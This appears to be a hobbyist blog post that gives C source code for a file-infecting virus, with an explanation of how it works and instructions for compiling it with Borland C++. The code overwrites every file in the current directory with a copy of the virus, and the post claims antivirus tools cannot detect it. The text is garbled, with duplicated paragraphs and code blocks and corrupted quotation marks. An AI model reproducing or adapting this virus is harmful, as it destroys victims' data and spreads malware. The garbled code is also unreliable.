Hello Everyone again,
Hope all are fine! Today While studying about C programming I just realized a program that could destroy files of any extensions and just created the program
This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.
Hope all are fine! Today While studying about C programming I just realized a program that could destroy files of any extensions and just created the program
This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.
Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on. The virus code is written in c language it cannot detected by antiviruses.
The source code is as follows:
save it as evenhacks.c
----------------------------------------------------------------------------------------------------------------
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(�*.*�,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],�rb�);
host=fopen(ffblk.ff_name,�rb+�);
if(host==NULL) goto next;
x=89088;
printf(�Infecting %s\n�,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(�DONE! (Total Files Infected= %d)�,a);
end=clock();
printf(�TIME TAKEN=%f SEC\n�,
(end-st)/CLK_TCK);
getch();
}
{
st=clock();
clrscr();
done=findfirst(�*.*�,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],�rb�);
host=fopen(ffblk.ff_name,�rb+�);
if(host==NULL) goto next;
x=89088;
printf(�Infecting %s\n�,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(�DONE! (Total Files Infected= %d)�,a);
end=clock();
printf(�TIME TAKEN=%f SEC\n�,
(end-st)/CLK_TCK);
getch();
}
---------------------------------------------------------------------------------------------------------------------------------------
This virus source code is designed to infect all types of files and extensions.
-------------------------------------------------------------------------------------------------------------------------------------You Can download the source code Here
How the virus works?
The algorithm of this virus program is as follows:
Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).
Step-2: Load the copy of the virus itself onto the memory.
Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.
Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.
As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.
How to Compile the Program(source code):
You Should download a C compiler. Download BORLANDCPP
after extracting
Here is a step-by-step instruction on how to configure the compiler:
- After you install Borland C++ compier, create two new Text Documents.
- Open the first New Text Document.txt file and add the following two lines into it:-I�c:\Borland\Bcc55\include�-L�c:\Borland\Bcc55\lib�Save changes and close the file. Now rename the file from New Text Document.txt to bcc32.cfg.
- Open the second New Text Document (2).txt file and add the following line into it:-L�c:\Borland\Bcc55\lib�Save changes and close the file. Rename the file from New Text Document (2).txt to ilink32.cfg.
- Now copy the two files bcc32.cfg and ilink32.cfg, navigate to C:\Borland\BCC55\Bin and paste them.
How to Compile the C program Source Code (.C files) ?
Here is a detailed instruction on how to compile C source codes:
- You need to place the .C (example.c) file to be compiled in the following location:
- Now go to the command prompt (Start->Run->type cmd->Enter)
- Make the following path as the present working directory (use the CD command):
- To compile the file (example.c) use the following command:
- Now if there exists no error in the source code, you�ll get a compiled executable module (example.exe) in the same location (C:\Borland\BCC55\Bin).
- Now you have successfully compiled the source code into an executable file(.exe file).
C:\Borland\BCC55\Bin
C:\Borland\BCC55\Bin
bcc32 example.c
0 comments:
Post a Comment